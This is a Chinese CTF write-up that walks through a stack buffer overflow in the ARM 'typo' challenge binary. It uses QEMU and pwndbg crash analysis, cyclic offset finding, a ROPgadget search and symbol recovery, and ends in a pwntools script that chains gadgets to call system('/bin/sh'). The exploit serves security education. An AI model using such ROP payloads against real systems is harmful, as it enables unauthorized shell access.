ARM架构下的 buffer overflow 初探

文章目录

  • ARM buffer overflow初探
    • Basic
    • Challenge
      • 初步分析
      • 利用方法
        • 确定溢出位置
        • 查找相关gadgets
        • EXP

ARM buffer overflow初探

Basic

与x86架构类似,堆栈溢出利用也是基于控制流转移完成。但ARM架构下的寄存器、跳转指令和下一跳略有区别:

  • 函数传递参数区别:
    • ARM架构:r0~r3寄存器存储函数的1-4个参数,剩下的参数从右向左依次入栈,函数的返回值保存在r0中;
    • x86 32位程序将函数参数存在在栈的函数返回地址上方
    • x86-64将前6个参数存储在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,剩下参数保存在栈中
  • 跳转指令
    • ARM架构中bx/bl/b指令可以实现跳转
  • 下一条指令地址:
    • ARM架构存在在pc寄存器中
    • x86架构则是EIP寄存器

Challenge

题目下载链接:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo

初步分析

$ file typo 
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

ARM架构32位的程序 静态链接

$ checksec typo
[*] '/home/mzgao/rop/bin/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

什么保护都没开

QEMU运行程序,在第二次输入长字符串时crash,证明存在buffer overflow

$ qemu-arm typo 
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
explosive
aaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.

butter
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
E.r.r.o.r.

achievement
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

利用方法

确定溢出位置

首先在一个terminal中运行type程序

qemu-arm -g 8888 ./typo 

然后在另一个terminal中使用gdb调试,连接本地8888端口

使用cyclic 200 生成一个长度为200的随机字符串,然后c继续运行,

在qemu端输入200的字符串,gdb这端则可以计算crash的位置。

$ gdb-multiarch
pwndbg> target remote localhost:8888

Remote debugging using localhost:8888
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x00008b98 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────
 R0   0x0
 R1   0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */
 R2   0x0
 R3   0x0
 R4   0x0
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
 R9   0x0
 R10  0x8af6c —▸ 0xa1e94 —▸ 0x6ff44 —▸ 0x7b918 ◂— 0x43 /* 'C' */
 R11  0x0
 R12  0x0
 SP   0xfffef490 ◂— 1
 PC   0x8b98 ◂— mov    fp, #0 /* 0xe3a0b000 */
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
 ► 0x8b98    mov    fp, #0
   0x8b9c    mov    lr, #0
   0x8ba0    pop    {r1}
   0x8ba4    mov    r2, sp
   0x8ba8    str    r2, [sp, #-4]!
   0x8bac    str    r0, [sp, #-4]!
   0x8bb0    ldr    ip, [pc, #0x10]
   0x8bb4    str    ip, [sp, #-4]!
   0x8bb8    ldr    r0, [pc, #0xc]
   0x8bbc    ldr    r3, [pc, #0xc]
   0x8bc0    bl     #0x9ebc                       <0x9ebc>
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffef490 ◂— 1
01:0004│    0xfffef494 —▸ 0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */
02:0008│    0xfffef498 ◂— 0
03:000c│    0xfffef49c —▸ 0xfffef5c8 ◂— strvc  r3, [pc, #-0xd5f]! /* 0x752f3d5f; '_=/usr/bin/qemu-arm' */
04:0010│    0xfffef4a0 —▸ 0xfffef5dc ◂— subpl  r4, r4, pc, asr #24 /* 0x50444c4f; 'OLDPWD=/home/mzgao/rop' */
05:0014│    0xfffef4a4 —▸ 0xfffef5f3 ◂— ldrbpl r4, [pc], #-0x34c /* 0x545f434c; 'LC_TIME=zh_CN.UTF-8' */
06:0018│    0xfffef4a8 —▸ 0xfffef607 ◂— cmppl  r3, #76, #10 /* 0x5353454c; 'LESSOPEN=| /usr/bin/lesspipe %s' */
07:001c│    0xfffef4ac —▸ 0xfffef627 ◂— ldmdbmi pc, {r2, r3, r6, r8, sb, lr} ^ /* 0x495f434c; 'LC_IDENTIFICATION=zh_CN.UTF-8' */
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0   0x8b98
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────
 R0   0x0
*R1   0xfffef294 ◂— 0x61616161 ('aaaa')
*R2   0x7e
 R3   0x0
*R4   0x62616162 ('baab')
 R5   0x0
 R6   0x0
 R7   0x0
 R8   0x0
*R9   0xa5ec ◂— push   {r3, r4, r5, r6, r7, r8, sb, lr} /* 0xe92d43f8 */
*R10  0xa68c ◂— push   {r3, r4, r5, lr} /* 0xe92d4038 */
*R11  0x62616163 ('caab')
 R12  0x0
*SP   0xfffef308 ◂— rsbvs  r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
*PC   0x62616164 ('daab')
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
Invalid address 0x62616164


──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ sp 0xfffef308 ◂— rsbvs  r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
01:0004│    0xfffef30c ◂— rsbvs  r6, r1, #0x80000019 /* 0x62616166; 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
02:0008│    0xfffef310 ◂— rsbvs  r6, r1, #0xc0000019 /* 0x62616167; 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
03:000c│    0xfffef314 ◂— rsbvs  r6, r1, #104, #2 /* 0x62616168; 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
04:0010│    0xfffef318 ◂— rsbvs  r6, r1, #0x4000001a /* 0x62616169; 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
05:0014│    0xfffef31c ◂— rsbvs  r6, r1, #0x8000001a /* 0x6261616a; 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
06:0018│    0xfffef320 ◂— rsbvs  r6, r1, #0xc000001a /* 0x6261616b; 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
07:001c│    0xfffef324 ◂— rsbvs  r6, r1, #108, #2 /* 0x6261616c; 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0 0x62616164
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
112

112个偏移位置

查找相关gadgets

$ ROPgadget --binary typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29


查找既能控制pc寄存器的,也能控制r0寄存器的gadgets即可

因此使用如下gadget

0x00020904 : pop {r0, r4, pc}

查找字符串位置

$ ROPgadget --binary typo --string "bin/sh"
Strings information
============================================================
0x0006c385 : bin/sh

查找system函数位置

发现没有system函数位置,应该符号表被去除了,使用rizzo恢复符号表。

https://github.com/fireundubh/IDA7-Rizzo

Just copy rizzo.py into your IDA plugins directory.

将rizzo.py移动到ida的插件目录中

ARM架构下的 buffer overflow 初探_第1张图片

先用对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),即可恢复一部分

笔者是在服务器中随意找了个libc2.27.so

$ cp /usr/aarch64-linux-gnu/lib/libc-2.27.so ./

首先使用ida打开该libc,然后导出Rizzo符号表。

再打开typo,导入刚才导出的Rizzo符号表。

在没有恢复符号前,并没有system函数地址:
ARM架构下的 buffer overflow 初探_第2张图片

恢复符号后,即可看到system地址是0x000110B4:
ARM架构下的 buffer overflow 初探_第3张图片

EXP

此时栈内存如下:

ARM架构下的 buffer overflow 初探_第4张图片

from pwn import *
import sys


payload = 'a' * 112 + p32(0x00020904).decode("iso-8859-1") + p32(0x0006c384).decode('iso-8859-1') * 2 + p32(0x000110B4).decode('iso-8859-1')

lrpayload = 'a' * 112 + p32(0x00014a70).decode('iso-8859-1') + p32(0x000096e0).decode('iso-8859-1') + 'aaaa'*2 + p32(0x00053004).decode('iso-8859-1') + 'aaaa' + p32(0x00020904).decode('iso-8859-1') + p32(0x0006c384).decode('iso-8859-1') *2 + p32(0x000110B4).decode('iso-8859-1')

io = process('./typo')

io.recv()

io.sendline()

io.sendline(payload)

io.interactive()

其中lrpayload采用了一种更加复杂的跳转实现,栈结构如下:
ARM架构下的 buffer overflow 初探_第5张图片

你可能感兴趣的:(pwn,arm,安全,系统安全)